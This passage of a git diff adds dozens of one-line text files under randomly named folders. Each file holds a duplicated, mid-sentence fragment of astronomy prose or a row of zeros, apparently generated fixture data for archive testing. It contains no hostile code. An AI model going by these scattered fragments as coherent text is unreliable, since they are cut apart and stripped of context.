+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_uhlwwqdieeqpzczpyorzqi.txt
@@ -0,0 +1 @@
+strange is going on in the depths of space.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_uqquggmacoxndlie.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_uqquggmacoxndlie.txt
new file mode 100644
index 0000000..e521374
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_uqquggmacoxndlie.txt
@@ -0,0 +1 @@
+strange is going on in the depths of space.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_wpdmsugjupjwjcbswcupl.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_wpdmsugjupjwjcbswcupl.txt
new file mode 100644
index 0000000..e521374
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_wpdmsugjupjwjcbswcupl.txt
@@ -0,0 +1 @@
+strange is going on in the depths of space.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_xlkjthic.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_xlkjthic.txt
new file mode 100644
index 0000000..e521374
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_xlkjthic.txt
@@ -0,0 +1 @@
+strange is going on in the depths of space.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_yohwncocv.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_yohwncocv.txt
new file mode 100644
index 0000000..e521374
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_yohwncocv.txt
@@ -0,0 +1 @@
+strange is going on in the depths of space.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/gjgwbfsz.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/gjgwbfsz.txt
new file mode 100644
index 0000000..48127f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/gjgwbfsz.txt
@@ -0,0 +1 @@
+exterior cloud. If we were to pull a chunk out of the nucleus - say, one with two protons and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/gysgxeobfgpodcak.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/gysgxeobfgpodcak.txt
new file mode 100644
index 0000000..bd9ae24
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/gysgxeobfgpodcak.txt
@@ -0,0 +1 @@
+If the inclinations toward slavery and racism, misogyny and violence are connected
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/hrgknkwxazvnykbyy.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/hrgknkwxazvnykbyy.txt
new file mode 100644
index 0000000..97b8498
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/hrgknkwxazvnykbyy.txt
@@ -0,0 +1 @@
+Or eaten. What animals do means life and death for us: how they behave, what tracks they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/nzviwxkvbchvtkw.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/nzviwxkvbchvtkw.txt
new file mode 100644
index 0000000..8779c11
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/nzviwxkvbchvtkw.txt
@@ -0,0 +1 @@
+be filled with an eerie radiance, the ghost of the Sun, outward bound.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/obvhvoiln.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/obvhvoiln.txt
new file mode 100644
index 0000000..081a132
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/obvhvoiln.txt
@@ -0,0 +1 @@
+apparent motion of Mars in the sky, including its retrograde loops through the background
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/qrohefqgc.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/qrohefqgc.txt
new file mode 100644
index 0000000..1daa076
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/qrohefqgc.txt
@@ -0,0 +1 @@
+A few million years ago, when human beings first evolved on Earth, it was already
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/rlthhhpizqqlkcewerl.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/rlthhhpizqqlkcewerl.txt
new file mode 100644
index 0000000..7ae15a1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/rlthhhpizqqlkcewerl.txt
@@ -0,0 +1 @@
+worsened when Tycho resolutely rejected advice to temper his eating and drinking. On his
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/snnkilztenvgkfmnjlx.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/snnkilztenvgkfmnjlx.txt
new file mode 100644
index 0000000..994b855
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/snnkilztenvgkfmnjlx.txt
@@ -0,0 +1 @@
+one to hear it but us - a reminder of the 40,000 generations of thinking men and women
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/stytunhtzyvrmfk.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/stytunhtzyvrmfk.txt
new file mode 100644
index 0000000..c9724d3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/stytunhtzyvrmfk.txt
@@ -0,0 +1 @@
+But there is a way to do it.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/svtyzlpi.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/svtyzlpi.txt
new file mode 100644
index 0000000..b542891
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/svtyzlpi.txt
@@ -0,0 +1 @@
+of practical engineering, to travel close to the speed of light? Is a starship feasible?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/vbojuailbvqadvoayltsu.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/vbojuailbvqadvoayltsu.txt
new file mode 100644
index 0000000..9bc3663
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/vbojuailbvqadvoayltsu.txt
@@ -0,0 +1 @@
+devoted to having children. There was another kind of object in the sky, the wandering or
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/vvqtgppaomktrjueugaokj.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/vvqtgppaomktrjueugaokj.txt
new file mode 100644
index 0000000..c53e31f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/vvqtgppaomktrjueugaokj.txt
@@ -0,0 +1 @@
+theoretician of the age.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/wkkoxwgczgobvbeghazzwg.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/wkkoxwgczgobvbeghazzwg.txt
new file mode 100644
index 0000000..2efeb23
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/wkkoxwgczgobvbeghazzwg.txt
@@ -0,0 +1 @@
+Do there exist many worlds, or is there but a single world? This is one of the most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/wvbgvwjidtzss.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/wvbgvwjidtzss.txt
new file mode 100644
index 0000000..9a5aa01
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/wvbgvwjidtzss.txt
@@ -0,0 +1 @@
+Do you know the ordinances of the heavens?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/wvdwguaimjwvnrowsvv.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/wvdwguaimjwvnrowsvv.txt
new file mode 100644
index 0000000..73e8cfb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/wvdwguaimjwvnrowsvv.txt
@@ -0,0 +1 @@
+water. The Chryse site seemed to satisfy all safety criteria. But the radar observations had
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/xibvpmuoaomvzpiwb.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/xibvpmuoaomvzpiwb.txt
new file mode 100644
index 0000000..aa85d08
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/xibvpmuoaomvzpiwb.txt
@@ -0,0 +1 @@
+radio source, in the solar system - brighter than Jupiter, brighter than the Sun. An
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/file_awmgbanijonrs.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/file_awmgbanijonrs.txt
new file mode 100644
index 0000000..a26c2c9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/file_awmgbanijonrs.txt
@@ -0,0 +1 @@
+000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/file_bgqbxrkvfcmst.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/file_bgqbxrkvfcmst.txt
new file mode 100644
index 0000000..a26c2c9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/file_bgqbxrkvfcmst.txt
@@ -0,0 +1 @@
+000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/file_fpnbzbofujrcnpgmvpyfar.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/file_fpnbzbofujrcnpgmvpyfar.txt
new file mode 100644
index 0000000..a26c2c9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/file_fpnbzbofujrcnpgmvpyfar.txt
@@ -0,0 +1 @@
+000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/file_ghjlitfupbnjfohrlzo.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/file_ghjlitfupbnjfohrlzo.txt
new file mode 100644
index 0000000..a26c2c9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/file_ghjlitfupbnjfohrlzo.txt
@@ -0,0 +1 @@
+000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/file_ivcluatfevgtrqzbnixvocd.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/file_ivcluatfevgtrqzbnixvocd.txt
new file mode 100644
index 0000000..a26c2c9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/file_ivcluatfevgtrqzbnixvocd.txt
@@ -0,0 +1 @@
+000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/file_kzknrthzbye.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/file_kzknrthzbye.txt
new file mode 100644
index 0000000..a26c2c9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/file_kzknrthzbye.txt
@@ -0,0 +1 @@
+000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/file_luohddpidcsdcqrndlov.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/file_luohddpidcsdcqrndlov.txt
new file mode 100644
index 0000000..a26c2c9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/file_luohddpidcsdcqrndlov.txt
@@ -0,0 +1 @@
+000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/file_oggjblbu.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/file_oggjblbu.txt
new file mode 100644
index 0000000..a26c2c9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/file_oggjblbu.txt
@@ -0,0 +1 @@
+000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/file_ovfoeaetf.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/file_ovfoeaetf.txt
new file mode 100644
index 0000000..a26c2c9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/file_ovfoeaetf.txt
@@ -0,0 +1 @@
+000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/file_pryxblcyylgtmh.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/file_pryxblcyylgtmh.txt
new file mode 100644
index 0000000..a26c2c9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/file_pryxblcyylgtmh.txt
@@ -0,0 +1 @@
+000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/file_qiuxfusohqscufrbgvssq.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/file_qiuxfusohqscufrbgvssq.txt
new file mode 100644
index 0000000..a26c2c9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/file_qiuxfusohqscufrbgvssq.txt
@@ -0,0 +1 @@
+000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/file_sojwsozodotpizqkvkte.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/file_sojwsozodotpizqkvkte.txt
new file mode 100644
index 0000000..a26c2c9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/file_sojwsozodotpizqkvkte.txt
@@ -0,0 +1 @@
+000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/file_twhvwppev.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/file_twhvwppev.txt
new file mode 100644
index 0000000..a26c2c9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/file_twhvwppev.txt
@@ -0,0 +1 @@
+000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/file_verookkb.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/file_verookkb.txt
new file mode 100644
index 0000000..a26c2c9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/file_verookkb.txt
@@ -0,0 +1 @@
+000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/file_vykasjhtfzlw.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/file_vykasjhtfzlw.txt
new file mode 100644
index 0000000..a26c2c9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/file_vykasjhtfzlw.txt
@@ -0,0 +1 @@
+000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/file_ydpbyapuknzuoovrxyrk.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/file_ydpbyapuknzuoovrxyrk.txt
new file mode 100644
index 0000000..a26c2c9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/file_ydpbyapuknzuoovrxyrk.txt
@@ -0,0 +1 @@
+000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000, 000,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_chrtfsevqdyfqujlmaney.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_chrtfsevqdyfqujlmaney.txt
new file mode 100644
index 0000000..8f86288
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_chrtfsevqdyfqujlmaney.txt
@@ -0,0 +1 @@
+he accordingly devised a theory of the phases of the Moon. This doctrine was so dangerous
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_cmsweznujlkckbo.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_cmsweznujlkckbo.txt
new file mode 100644
index 0000000..8f86288
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_cmsweznujlkckbo.txt
@@ -0,0 +1 @@
+he accordingly devised a theory of the phases of the Moon. This doctrine was so dangerous
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_ezzkxhlipxj.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_ezzkxhlipxj.txt
new file mode 100644
index 0000000..8f86288
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_ezzkxhlipxj.txt
@@ -0,0 +1 @@
+he accordingly devised a theory of the phases of the Moon. This doctrine was so dangerous
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_hahzuuktn.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_hahzuuktn.txt
new file mode 100644
index 0000000..8f86288
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_hahzuuktn.txt
@@ -0,0 +1 @@
+he accordingly devised a theory of the phases of the Moon. This doctrine was so dangerous
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_nbfvelpgupfuacdzldgn.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_nbfvelpgupfuacdzldgn.txt
new file mode 100644
index 0000000..8f86288
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_nbfvelpgupfuacdzldgn.txt
@@ -0,0 +1 @@
+he accordingly devised a theory of the phases of the Moon. This doctrine was so dangerous
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_otwanjzbezycsbdy.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_otwanjzbezycsbdy.txt
new file mode 100644
index 0000000..8f86288
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_otwanjzbezycsbdy.txt
@@ -0,0 +1 @@
+he accordingly devised a theory of the phases of the Moon. This doctrine was so dangerous
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_ridtsgkbthadxlazaz.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_ridtsgkbthadxlazaz.txt
new file mode 100644
index 0000000..8f86288
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_ridtsgkbthadxlazaz.txt
@@ -0,0 +1 @@
+he accordingly devised a theory of the phases of the Moon. This doctrine was so dangerous
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_uwagxsrgqw.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_uwagxsrgqw.txt
new file mode 100644
index 0000000..8f86288
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_uwagxsrgqw.txt
@@ -0,0 +1 @@
+he accordingly devised a theory of the phases of the Moon. This doctrine was so dangerous
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_vrolfcaprtbfgukewfbvk.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_vrolfcaprtbfgukewfbvk.txt
new file mode 100644
index 0000000..8f86288
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_vrolfcaprtbfgukewfbvk.txt
@@ -0,0 +1 @@
+he accordingly devised a theory of the phases of the Moon. This doctrine was so dangerous
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_vtirbwdtyj.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_vtirbwdtyj.txt
new file mode 100644
index 0000000..8f86288
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_vtirbwdtyj.txt
@@ -0,0 +1 @@
+he accordingly devised a theory of the phases of the Moon. This doctrine was so dangerous
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_xuwpzicinmfpertrycnx.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_xuwpzicinmfpertrycnx.txt
new file mode 100644
index 0000000..8f86288
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_xuwpzicinmfpertrycnx.txt
@@ -0,0 +1 @@
+he accordingly devised a theory of the phases of the Moon. This doctrine was so dangerous
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_yggbakotwglocwih.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_yggbakotwglocwih.txt
new file mode 100644
index 0000000..8f86288
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/file_yggbakotwglocwih.txt
@@ -0,0 +1 @@
+he accordingly devised a theory of the phases of the Moon. This doctrine was so dangerous
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_bedcvhgeyerwdrlpymwbw.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_bedcvhgeyerwdrlpymwbw.txt
new file mode 100644
index 0000000..4417453
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_bedcvhgeyerwdrlpymwbw.txt
@@ -0,0 +1 @@
+square entering its flat house, the apple decides, in a gesture of interdimensional amity, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_duegqksoiwsipailpuu.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_duegqksoiwsipailpuu.txt
new file mode 100644
index 0000000..4417453
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_duegqksoiwsipailpuu.txt
@@ -0,0 +1 @@
+square entering its flat house, the apple decides, in a gesture of interdimensional amity, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_fszejeiynxt.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_fszejeiynxt.txt
new file mode 100644
index 0000000..4417453
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_fszejeiynxt.txt
@@ -0,0 +1 @@
+square entering its flat house, the apple decides, in a gesture of interdimensional amity, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_gpxdeunjnwduqabyzhkk.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_gpxdeunjnwduqabyzhkk.txt
new file mode 100644
index 0000000..4417453
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_gpxdeunjnwduqabyzhkk.txt
@@ -0,0 +1 @@
+square entering its flat house, the apple decides, in a gesture of interdimensional amity, to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_hczffsvmafaor.txt b/big_zip/big-zip-files/folder_wxwuccjcgo/folder_qhauifbdmw/folder_zmbpdpgslp/file_hczffsvmafaor.txt
new file mode 100644
index 0000000..4417453
--- /dev/null
